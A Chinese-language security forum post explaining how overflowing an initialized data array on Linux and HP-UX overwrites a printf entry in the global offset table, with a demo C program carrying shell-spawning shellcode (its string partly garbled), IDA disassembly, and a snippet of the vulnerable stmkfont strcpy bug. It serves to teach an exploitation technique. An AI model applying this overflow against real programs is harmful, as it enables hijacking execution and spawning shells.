标题: 已初始化数据区溢出覆盖外部函数导入地址表的利用分析
ty
荣誉会员
Rank: 1



UID 9897
精华 0
积分 1868
帖子 901
威望 901
金币 892
热心 9
阅读权限 50
注册 2006-3-22
状态 离线
已初始化数据区溢出覆盖外部函数导入地址表的利用分析

1> 引言

  一直没有看到对已初始化数据区溢出的文章,以前研究HP-UX(PA)体系结构时注意到在
已初始化数据区后面就是函数导入地址表,如果里边发生溢出可以导致函数导入地址被覆
盖从而修改外部函数调用时的执行地址,最终修改程序执行流程。最近发现linux上段的
分配策略是相同的,所以估计其他UNIX系统同样实用。
  

<2> 实例

在linux下作一个测试:
编写一个程序

/* Filename: t-seg.c  
    Write for test seg layout by watercloud 2003-9-7
    Tested on RedHat8.0
*/
#include<stdio.h>

char shell[]="jvXx99Rhn/shh//biT[RSTYxcdx80";
unsigned int array[1]={0};

int main(int argc,char *argv[])
{
  int i;
  printf("Begin! ");
  for(i=0;i<100;i++)
  {
     array[i]=(unsigned int )shell;
  }
  printf("End! ");
  return 0;
}
/*EOF */

cloud$ gcc t-seg.c -o t-seg -g
cloud$ ./t-seg
Begin!
sh-2.05b$             #看这里在调用printf("End! ");时其实跑到了我们的shell里去执行了。



看起来很奇怪吧??

<3> 分析

没关系我们来看看IDA Pro分析结果,先看看段的组织,看看我们关心的array和printf的关系:

.data:080493DC ; Segment type: Pure data
.data:080493DC ; Segment permissions: Read/Write
.data:080493DC _data           segment dword public 'DATA' use32
.data:080493DC                 assume cs:_data
.data:080493DC                 ;org 80493DCh
.data:080493DC                 public data_start ; weak
.data:080493DC data_start      db    0 ;               ; Alternative name is '__data_start'
.data:080493DD                 db    0 ;  
.data:080493DE                 db    0 ;  
.data:080493DF                 db    0 ;  
.data:080493E0 __dso_handle    db    0 ;  
.data:080493E1                 db    0 ;  
.data:080493E2                 db    0 ;  
.data:080493E3                 db    0 ;  
.data:080493E4 p_0             dd 80494DCh             ; DATA XREF: __do_global_dtors_aux+Fr
.data:080493E4                                         ; __do_global_dtors_aux+1Fw ...
.data:080493E8                 public shell
.data:080493E8 shell           db 'j',0Bh,'X橰hn/shh//biT[RSTY蛝',0 ; DATA XREF: main+32o
.data:08049400                 public array


.data:08049400 array           dd 0                    ; DATA XREF: main+32w
--------------------------------看,这里是我们的array。



.got:080494E4 ; Segment type: Pure data
.got:080494E4 ; Segment permissions: Read/Write
.got:080494E4 _got            segment dword public 'DATA' use32
.got:080494E4                 assume cs:_got
.got:080494E4                 ;org 80494E4h
.got:080494E4                 public _GLOBAL_OFFSET_TABLE_
.got:080494E4 _GLOBAL_OFFSET_TABLE_ db    ? ;         ; DATA XREF: call_gmon_start+Co
.got:080494E4                                         ; _term_proc+Co
.got:080494E5                 db    ? ;
.got:080494E6                 db    ? ;
.got:080494E7                 db    ? ;
.got:080494E8                 db    ? ;
.got:080494E9                 db    ? ;
.got:080494EA                 db    ? ;
.got:080494EB                 db    ? ;
.got:080494EC                 db    ? ;
.got:080494ED                 db    ? ;
.got:080494EE                 db    ? ;
.got:080494EF                 db    ? ;
.got:080494F0 off_80494F0     dd offset __libc_start_main ; DATA XREF: ___libc_start_mainr

.got:080494F4 off_80494F4     dd offset printf        ; DATA XREF: _printfr
------------------------------这里存放的是真正的printf的地址。


.got:080494F8                 db    0 ;  
.got:080494F9                 db    0 ;  
.got:080494FA                 db    0 ;  
.got:080494FB                 db    0 ;  
.got:080494FB _got            ends
.got:080494FB


从里边我们可以看到:
1. array的地址比printf导入地址项所在地址要低。
2. 从array所在地址到printf导入地址所在地址间的空间均可读写。

以上两条保证了我们可以溢出array来覆盖printf的导入地址,
最终结果也就是在上面演示上看到的了。

如果你对printf调用有疑问的话接着看:

反汇编main你可以发现如下代码:
.text:0804836F                 push    offset aEnd     ; "End! "
.text:08048374                 call    _printf

反汇编_printf函数看看:
.plt:08048268 _printf         proc near               ; CODE XREF: main+18p
.plt:08048268                                         ; main+4Cp
.plt:08048268                 jmp     ds:off_80494F4
.plt:08048268 _printf         endp

看看这个jmp后面的这个off_80494F4和上面的:
.got:080494F4 off_80494F4     dd offset printf        ; DATA XREF: _printfr

应该明白了吧?!


<4> 结束

这种布局方式估计对Unix系统都可作为参考测试,具体就看大家测试补充和不同平台的注意细节了。
补充一点:在RedHat8和HP-UX(PA)上对于static定义并初始化的变量布局和测试程序一样。
目前已经公开的有这样漏洞的程序有HP-UX上的stmkfont,它的BUG中的一个类似如下情况:
char Name[]="watercloud";
int main(int argc,char * argv[])
{
   . . .  
   getopt("n: . . . ");
   . . .
   case 'n':
       strcpy(Name,optarg);

    . . .

}
这就是最典型的已初始化数据区的溢出了。

最后的结论是这样的溢出是最容易利用的溢出了 :)

顶部
[广告] 免费域名(Free Subdomain) 免费空间(Free hosting) PR查询(Google Pagerank)



当前时区 GMT+8, 现在时间是 2008-10-14 00:54
信产部ICP备案:京ICP备05066424号 北京市公安局网监备案:1101050648号

Powered by Discuz! 5.5.0
清除 Cookies - 联系我们 - 网友俱乐部 - Archiver - WAP